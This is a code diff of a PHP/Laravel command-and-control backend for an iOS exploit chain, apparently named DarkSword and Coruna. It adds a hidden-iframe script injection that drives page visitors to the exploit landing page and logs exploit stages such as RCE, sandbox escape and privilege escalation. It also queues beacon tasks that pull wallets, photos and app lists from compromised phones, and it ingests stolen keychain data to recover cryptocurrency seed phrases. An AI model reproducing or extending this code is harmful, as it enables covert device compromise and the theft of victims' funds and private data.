'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
+5
View File
@@ -2,6 +2,7 @@
namespace App\Http\Middleware;
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Closure;
@@ -21,6 +22,10 @@ class DecryptXxbbBody
public function handle(Request $request, Closure $next): Response
{
if (DarkSwordC2Controller::matches($request)) {
return $next($request);
}
$crypto = self::crypto();
$meta = c2_log_request_meta($request);
+24 -8
View File
@@ -174,19 +174,35 @@ class Channel extends Model
/**
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
* src is resolved at paste-time from the host page's location.
*/
public function promoIframeSnippet(?string $url = null): ?string
{
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
if ($url === '') {
$base = rtrim((string) config('app.url'), '/');
if ($base === '') {
return null;
}
$url = $base.$this->landingPath();
$path = $this->landingPathFromUrl($url) ?? $this->landingPath();
if ($path === '') {
return null;
}
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
if (! str_starts_with($path, '/')) {
$path = '/'.$path;
}
if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) {
$path = $this->landingPath();
}
// Telegram copy_text max is 256. Relative src resolves against the host page.
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"'.$path.'",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>';
}
private function landingPathFromUrl(?string $url): ?string
{
$url = trim((string) $url);
if ($url === '') {
return null;
}
$path = parse_url($url, PHP_URL_PATH);
return is_string($path) && $path !== '' ? $path : null;
}
public static function randomChannelId(): string
+11 -1
View File
@@ -13,13 +13,18 @@ class Device extends Model
public const WALLET_YES = 2;
public const FAMILY_CORUNA = 'coruna';
public const FAMILY_DARKSWORD = 'darksword';
protected $fillable = [
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
'family' => self::FAMILY_CORUNA,
];
protected function casts(): array
@@ -89,4 +94,9 @@ class Device extends Model
{
return $this->hasMany(WalletKeystore::class);
}
public function beaconTasks(): HasMany
{
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
}
}
+71
View File
@@ -0,0 +1,71 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class DsBeaconTask extends Model
{
public const STATUS_PENDING = 'pending';
public const STATUS_DISPATCHED = 'dispatched';
public const STATUS_DONE = 'done';
public const STATUS_SKIPPED = 'skipped';
public const LABELS = [
'wallet_extract' => '钱包提取',
'wallet_scan' => '钱包扫盘',
'photos' => '相册',
'photo_scan' => '相册扫描',
'apps' => '应用列表',
'basic_info' => '设备信息',
];
public const STATUS_LABELS = [
self::STATUS_PENDING => '排队中',
self::STATUS_DISPATCHED => '已下发',
self::STATUS_DONE => '已回传',
self::STATUS_SKIPPED => '已跳过',
];
protected $fillable = [
'device_id',
'position',
'type',
'status',
'command_id',
'dispatched_at',
'completed_at',
'result_count',
'result_meta',
];
protected function casts(): array
{
return [
'position' => 'integer',
'dispatched_at' => 'datetime',
'completed_at' => 'datetime',
'result_count' => 'integer',
'result_meta' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function typeLabel(): string
{
return self::LABELS[$this->type] ?? $this->type;
}
public function statusLabel(): string
{
return self::STATUS_LABELS[$this->status] ?? $this->status;
}
}
+124
View File
@@ -0,0 +1,124 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class DsChainLog extends Model
{
public $timestamps = false;
/** @var array<string, array{progress: int, title: string}> */
public const STAGES = [
'boot' => ['progress' => 8, 'title' => '启动'],
'loader' => ['progress' => 18, 'title' => '加载器'],
'worker' => ['progress' => 42, 'title' => 'RCE'],
'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'],
'sbx1' => ['progress' => 72, 'title' => '沙箱二段'],
'pe' => ['progress' => 86, 'title' => '权限提升'],
'post' => ['progress' => 100, 'title' => '取证完成'],
];
protected $fillable = [
'client_uid',
'channel_id',
'stage',
'progress',
'label',
'created_at',
];
protected function casts(): array
{
return [
'progress' => 'integer',
'created_at' => 'datetime',
];
}
public static function stageTitle(string $stage): string
{
return self::STAGES[$stage]['title'] ?? $stage;
}
/**
* @return array{stage: string, progress: int, label: string}|null
*/
public static function inferFromText(?string $text): ?array
{
$msg = trim((string) $text);
if ($msg === '') {
return null;
}
if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) {
return ['stage' => 'post', 'progress' => 100, 'label' => 'post'];
}
if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) {
return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾'];
}
if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) {
return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe'];
}
if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) {
return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1'];
}
if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) {
return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0'];
}
if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) {
return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker'];
}
if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) {
return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader'];
}
if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) {
return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot'];
}
return null;
}
public static function record(
string $clientUid,
string $stage,
int $progress = 0,
?string $label = null,
?string $channelId = null,
): ?self {
$clientUid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $clientUid) ?? '');
$stage = strtolower(trim($stage));
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
return null;
}
$meta = self::STAGES[$stage];
if ($progress <= 0) {
$progress = $meta['progress'];
}
$progress = max(0, min(100, $progress));
$label = trim((string) ($label ?? ''));
if ($label === '') {
$label = $stage;
}
$label = substr($label, 0, 255);
$channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null;
$last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first();
if ($last
&& $last->stage === $stage
&& (int) $last->progress === $progress
&& (string) $last->label === $label) {
return $last;
}
return self::query()->create([
'client_uid' => substr($clientUid, 0, 64),
'channel_id' => $channelId,
'stage' => $stage,
'progress' => $progress,
'label' => $label,
'created_at' => now(),
]);
}
}
+11
View File
@@ -8,9 +8,14 @@ class PageVisit extends Model
{
public $timestamps = false;
public const CHAIN_CORUNA = 0;
public const CHAIN_DARKSWORD = 1;
protected $fillable = [
'channel_id',
'client_uid',
'chain',
'session_id',
'user_agent',
'os',
@@ -26,10 +31,16 @@ class PageVisit extends Model
protected function casts(): array
{
return [
'chain' => 'integer',
'created_at' => 'datetime',
];
}
public static function chainLabel(int $chain): string
{
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
}
public static function normalizeDomain(?string $value): ?string
{
$value = trim((string) $value);
+187 -1
View File
@@ -8,18 +8,204 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'raw_json',
'device_id', 'source', 'decrypted', 'raw_json',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
'decrypted' => 'integer',
];
}
public function sourceLabel(): string
{
$source = trim((string) $this->source);
return $source !== '' ? $source : '未知';
}
public function kind(): string
{
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
}
public function kindLabel(): string
{
return match ($this->kind()) {
'keychain.wallets' => '钥匙串',
'sandbox' => '沙盒文件',
default => $this->kind() !== '' ? $this->kind() : '未知',
};
}
/**
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }>
*/
public function listedItems(): array
{
$json = is_array($this->raw_json) ? $this->raw_json : [];
$out = [];
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $bucket) {
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
foreach ($items as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
}
}
$sandbox = $json['sandbox'] ?? null;
if (is_array($sandbox)) {
$out = array_merge($out, $this->sandboxItems($sandbox));
}
if (isset($json['crypto']) && is_array($json['crypto'])) {
$out[] = $this->normalizeItem([
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
'path' => 'crypto',
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
]);
}
return $out;
}
public function itemCount(): int
{
return count($this->listedItems());
}
public function summary(): string
{
$names = [];
foreach ($this->listedItems() as $item) {
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
if ($name !== '') {
$names[] = $name;
}
if (count($names) >= 3) {
break;
}
}
$n = $this->itemCount();
if ($names === []) {
return $n > 0 ? $n.' 条' : '';
}
$text = implode(' · ', $names);
if ($n > 3) {
$text .= ' 等'.$n.'条';
}
return $text;
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
/**
* @param array<string, mixed> $item
* @return array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }
*/
private function normalizeItem(array $item): array
{
$hex = (string) ($item['dataHex'] ?? '');
$bin = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$bin = (string) hex2bin($hex);
} elseif (isset($item['data']) && is_string($item['data'])) {
$bin = $item['data'];
}
return [
'account' => trim((string) ($item['account'] ?? '')),
'service' => trim((string) ($item['service'] ?? '')),
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
'path' => trim((string) ($item['path'] ?? '')),
'data_len' => strlen($bin),
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
];
}
/**
* @param array<string, mixed> $sandbox
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }>
*/
private function sandboxItems(array $sandbox, string $prefix = ''): array
{
$out = [];
foreach ($sandbox as $key => $value) {
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
if (is_array($value)) {
if (isset($value['items']) && is_array($value['items'])) {
foreach ($value['items'] as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
continue;
}
$out = array_merge($out, $this->sandboxItems($value, $path));
continue;
}
if (! is_string($value) || $value === '') {
continue;
}
$bin = base64_decode($value, true);
if ($bin === false) {
$bin = $value;
}
$out[] = $this->normalizeItem([
'account' => basename($path),
'path' => $path,
'data' => $bin,
]);
}
return $out;
}
private function previewBytes(string $raw): string
{
if ($raw === '') {
return '';
}
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
return $raw;
}
$hex = bin2hex($raw);
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
}
}
+795
View File
@@ -0,0 +1,795 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\UserAgentParser;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
/**
* Map DarkSword / one99 plaintext JSON onto existing device/note/wallet tables.
*
* Does not call xxbb field extractors (`d`/`f`/`c`/`al[]` / ver/sdkv).
*/
class DarkSwordIngestAdapter
{
/** @var list<string> */
private const SKIP_WALK_KEYS = [
'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys',
'locked_classes', '_truncated', '_more', 'tables',
];
public function __construct(
private readonly IngestService $ingest,
private readonly TelegramNotifier $telegram,
private readonly DsBeaconQueue $beaconQueue,
private readonly DsResultStore $results,
private readonly DsTrustAddressIngest $trustAddresses,
private readonly DsKeystoreDecrypt $keystoreDecrypt,
private readonly MnemonicWalletDiscovery $mnemonicDiscovery,
private readonly MnemonicAddressLinker $mnemonicLinker,
) {}
/**
* @param array<string, mixed> $payload Untruncated JSON from the raw request body.
*/
public function ingest(Request $request, string $path, array $payload): void
{
match ($path) {
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
'/api/ds/log' => $this->ingestLog($request, $payload),
'/a' => $this->ingestProfile($request, $payload),
'/u' => $this->ingestApps($request, $payload),
'/nb' => $this->ingestNotes($request, $payload),
'/war' => $this->ingestWar($request, $payload),
'/beacon', '/event' => $this->heartbeat($request, $payload),
'/result' => $this->ingestResult($request, $payload),
default => str_starts_with($path, '/api/ds/pe-stage')
? $this->ingestPeStage($request, $payload)
: null,
};
}
/**
* @param array<string, mixed> $payload
*/
private function ingestRegister(Request $request, array $payload): void
{
$this->recordRegisterVisit($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestStage(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
$progress = (int) ($payload['progress'] ?? 0);
$label = is_string($payload['label'] ?? null) ? $payload['label'] : null;
DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload));
}
/**
* PE progress ping. File log is written by DarkSwordC2Controller::peStage;
* here we also fold the named stage into ds_chain_logs when a UUID is present.
*
* @param array<string, mixed> $payload
*/
private function ingestPeStage(Request $request, array $payload): void
{
$name = strtolower(trim((string) ($payload['pe_stage'] ?? '')));
$progress = match ($name) {
's1_launchd' => 86,
's2_keychain' => 88,
's3_mempress' => 90,
's4_loader' => 92,
's5_c2' => 94,
's6_p7phase2' => 96,
default => 86,
};
$this->ingestStage($request, array_merge($payload, [
'stage' => 'pe',
'progress' => $progress,
'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'),
]));
}
/**
* @param array<string, mixed> $payload
*/
private function ingestLog(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
$this->ingestStage($request, $payload);
return;
}
$text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null;
if (! is_string($text)) {
return;
}
$inferred = DsChainLog::inferFromText($text);
if ($inferred === null) {
return;
}
DsChainLog::record(
$uid,
$inferred['stage'],
$inferred['progress'],
$inferred['label'],
$this->extractChannelCode($payload),
);
}
/**
* @param array<string, mixed> $payload
*/
private function recordRegisterVisit(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
$ua = $this->registerUserAgent($request, $payload);
$parsed = UserAgentParser::parse($ua);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? '';
$ip = $this->clientIp($request, $payload);
$referer = trim((string) $request->headers->get('referer', ''));
PageVisit::query()->create([
'channel_id' => $channel,
'client_uid' => $uid,
'chain' => PageVisit::CHAIN_DARKSWORD,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $ios !== null ? 'iOS' : $parsed['os'],
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => PageVisit::normalizeDomain($request->getHost()),
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
'created_at' => now(),
]);
}
/**
* @param array<string, mixed> $payload
*/
private function registerUserAgent(Request $request, array $payload): string
{
foreach (['user_agent', 'userAgent'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 512);
}
}
return substr((string) $request->userAgent(), 0, 512);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestProfile(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestApps(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$al = $this->appsToAl($payload['apps'] ?? null);
if ($al === []) {
return;
}
$this->ingest->ingestInstalledApps($device, ['al' => $al]);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestNotes(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, ['list' => $payload['list']]);
}
$this->storeNoteDbFiles($device, $payload['db_files'] ?? null);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestWar(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : [];
$wallets = $keychain['wallets'] ?? [];
$sandbox = $payload['sandbox'] ?? [];
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
);
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
$this->walkForMnemonics($device, $wallets, 'd');
$this->walkForMnemonics($device, $sandbox, 'b');
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
}
/**
* @param array<string, mixed> $payload
*/
private function heartbeat(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function upsertDevice(Request $request, array $payload): ?Device
{
$key = $this->extractDeviceKey($request, $payload);
if ($key === null) {
return null;
}
$ip = $this->clientIp($request, $payload);
$model = $this->extractModel($payload);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $key)->first();
if ($existing) {
$touch = [
'updated_at' => now(),
'family' => Device::FAMILY_DARKSWORD,
];
if ($ip !== '') {
$touch['ip'] = $ip;
}
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
$touch['device_model'] = $model;
}
if ($ios !== null && trim((string) $existing->ios_version) === '') {
$touch['ios_version'] = $ios;
}
if ($channel !== null && trim((string) $existing->channel_id) === '') {
$touch['channel_id'] = $channel;
}
$existing->forceFill($touch)->saveQuietly();
$this->beaconQueue->seed($existing);
return $existing->refresh();
}
$device = Device::query()->create([
'device_id' => $key,
'family' => Device::FAMILY_DARKSWORD,
'ip' => $ip !== '' ? $ip : null,
'device_model' => $model,
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
]);
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
$this->beaconQueue->seed($device);
return $device->refresh();
}
/**
* Upsert the DarkSword device and seed its default beacon queue.
*
* @param array<string, mixed> $payload
*/
public function ensureDevice(Request $request, array $payload): ?Device
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$this->beaconQueue->seed($device);
}
return $device;
}
/**
* @param array<string, mixed> $payload
*/
private function ingestResult(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$stored = $this->results->store($device, $payload);
$payload = array_merge($payload, $stored);
if (($stored['stored'] ?? false) === true) {
$this->ingestTrustAddressesFromResult($device, $payload);
}
}
$this->beaconQueue->markDone($payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestTrustAddressesFromResult(Device $device, array $payload): void
{
$filename = strtolower((string) ($payload['filename'] ?? ''));
$looksTrust = str_contains($filename, 'utc--')
|| str_contains($filename, 'wallet_pkg')
|| str_contains($filename, 'keystore');
if (! $looksTrust) {
return;
}
$raw = $payload['data'] ?? null;
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
if (Storage::disk('local')->exists($payload['path'])) {
$raw = (string) Storage::disk('local')->get($payload['path']);
}
}
if (! is_string($raw) || $raw === '') {
return;
}
$this->trustAddresses->ingest($device, $raw);
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
}
/**
* @param array<string, mixed> $payload
*/
private function extractDeviceKey(Request $request, array $payload): ?string
{
$candidates = [
$payload['lhu'] ?? null,
$payload['deviceUUID'] ?? null,
$payload['device_uuid'] ?? null,
$payload['uuid'] ?? null,
$payload['device'] ?? null,
$request->header('X-Device-UUID'),
$request->query('deviceUUID'),
$request->query('device'),
];
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
if ($hex === '') {
continue;
}
return substr($hex, 0, 32);
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractChannelCode(array $payload): ?string
{
foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) {
$value = $payload[$key] ?? null;
if (! is_string($value)) {
continue;
}
$value = trim($value);
if ($value === '') {
continue;
}
return substr($value, 0, 64);
}
return null;
}
private function channelFromVisit(string $deviceKey): ?string
{
$channel = PageVisit::query()
->where('client_uid', $deviceKey)
->where('chain', PageVisit::CHAIN_DARKSWORD)
->where('channel_id', '!=', '')
->orderByDesc('id')
->value('channel_id');
return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractModel(array $payload): ?string
{
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 128);
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractIos(array $payload): ?string
{
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 64);
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function clientIp(Request $request, array $payload): string
{
$reported = $payload['ip'] ?? null;
if (is_string($reported) && trim($reported) !== '') {
$normalized = PageVisit::normalizeIp(trim($reported));
if ($normalized !== '') {
return substr($normalized, 0, 64);
}
}
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
}
private function shouldReplaceModel(?string $current, string $incoming): bool
{
$cur = trim((string) $current);
if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) {
return true;
}
return false;
}
/**
* @return list<array{b: string, a: string, v?: string}>
*/
private function appsToAl(mixed $apps): array
{
if (! is_array($apps)) {
return [];
}
$al = [];
foreach ($apps as $key => $item) {
if ($key === '_more' || ! is_array($item)) {
continue;
}
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
continue;
}
$row = [
'b' => $bundle,
'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle),
];
$version = $item['version'] ?? $item['v'] ?? null;
if (is_string($version) && $version !== '') {
$row['v'] = $version;
}
$al[] = $row;
}
return $al;
}
private function storeNoteDbFiles(Device $device, mixed $files): void
{
if (! is_array($files)) {
return;
}
foreach ($files as $file) {
if (! is_array($file)) {
continue;
}
$name = basename((string) ($file['name'] ?? 'notes.sqlite'));
$name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite';
$data = $file['data'] ?? $file['content'] ?? null;
if (! is_string($data) || $data === '') {
continue;
}
$bin = base64_decode($data, true);
if ($bin === false || $bin === '') {
continue;
}
$rel = 'c2/ds-notes/'.$device->device_id.'/'.$name;
Storage::disk('local')->put($rel, $bin);
}
}
private function hasMaterial(mixed $value): bool
{
if ($value === null || $value === '' || $value === []) {
return false;
}
if (! is_array($value)) {
return true;
}
if (array_key_exists('items', $value) && is_array($value['items'])) {
return $value['items'] !== [];
}
foreach ($value as $child) {
if ($this->hasMaterial($child)) {
return true;
}
}
return false;
}
/**
* @return list<WalletKeystore>
*/
private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array
{
if (! $this->hasMaterial($buckets)) {
return [];
}
$rows = [];
if (is_array($buckets) && ! array_is_list($buckets)) {
$leftover = [];
foreach ($buckets as $key => $bucket) {
if (! $this->hasMaterial($bucket)) {
continue;
}
$source = is_string($key) ? WalletSource::fromKeystoreHint($key) : '';
if ($source === '' && ! is_string($key)) {
$leftover[$key] = $bucket;
continue;
}
if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) {
continue;
}
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null));
}
if ($leftover !== []) {
$rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics));
} elseif ($rows === [] && $this->hasMaterial($buckets)) {
$rows[] = $this->createKeystore(
$device,
WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''),
$this->keystorePayload($kind, $buckets, $diagnostics)
);
}
return $rows;
}
$source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : '');
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics));
return $rows;
}
/**
* @param array<string, mixed>|string $payload
* @return array<string, mixed>
*/
private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array
{
$body = [
'kind' => $kind,
];
if (str_starts_with($kind, 'keychain')) {
$body['wallets'] = $payload;
} else {
$body['sandbox'] = $payload;
}
if ($diagnostics !== null) {
$body['diagnostics'] = $diagnostics;
}
return $body;
}
/**
* @param array<string, mixed> $rawJson
*/
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
{
return WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => $source,
'decrypted' => 0,
'raw_json' => $rawJson,
]);
}
/**
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
*/
public function reprocessKeystores(Device $device): void
{
$device->load('keystores');
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
}
/**
* @param list<WalletKeystore> $rows
*/
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
{
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
foreach ($hits as $hit) {
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['phrase'],
'a' => $tag,
]);
$this->keystoreDecrypt->markDecrypted($rows, $hit['source']);
$this->keystoreDecrypt->markDecrypted($device->keystores()->get(), $hit['source']);
$mnemonic = WalletMnemonic::query()
->where('device_id', $device->id)
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
->first();
if ($mnemonic !== null) {
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
}
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'data' => $hit['addresses'],
]);
}
if ($mnemonic !== null) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
}
}
}
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
{
if (is_string($node)) {
$phrase = $this->asMnemonicPhrase($node);
if ($phrase !== null) {
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
}
return;
}
if (! is_array($node)) {
return;
}
if (($node['_truncated'] ?? false) === true) {
return;
}
if ($this->isFailedUnwrap($node)) {
return;
}
foreach ($node as $key => $child) {
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
continue;
}
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
$this->walkForMnemonics($device, $child, $childTag);
}
}
/**
* @param array<string, mixed> $node
*/
private function isFailedUnwrap(array $node): bool
{
foreach (['error', 'layer3Error'] as $key) {
$err = $node[$key] ?? null;
if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) {
return true;
}
}
return false;
}
private function tagForWalletKey(string $key, string $fallback): string
{
$k = strtolower($key);
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
return 'b';
}
if (str_contains($k, 'trust')) {
return 'd';
}
return $fallback;
}
private function asMnemonicPhrase(string $raw): ?string
{
$candidates = [$raw];
$trimmed = trim($raw);
if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) {
$bin = @hex2bin($trimmed);
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
$candidates[] = $bin;
$decoded = json_decode($bin, true);
if (is_array($decoded)) {
foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) {
if (isset($decoded[$k]) && is_string($decoded[$k])) {
$candidates[] = $decoded[$k];
}
}
}
}
}
foreach ($candidates as $text) {
$phrase = $this->matchWordMnemonic($text);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
private function matchWordMnemonic(string $text): ?string
{
$text = strtolower(trim($text));
if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) {
return null;
}
$words = preg_split('/\s+/', $text) ?: [];
$n = count($words);
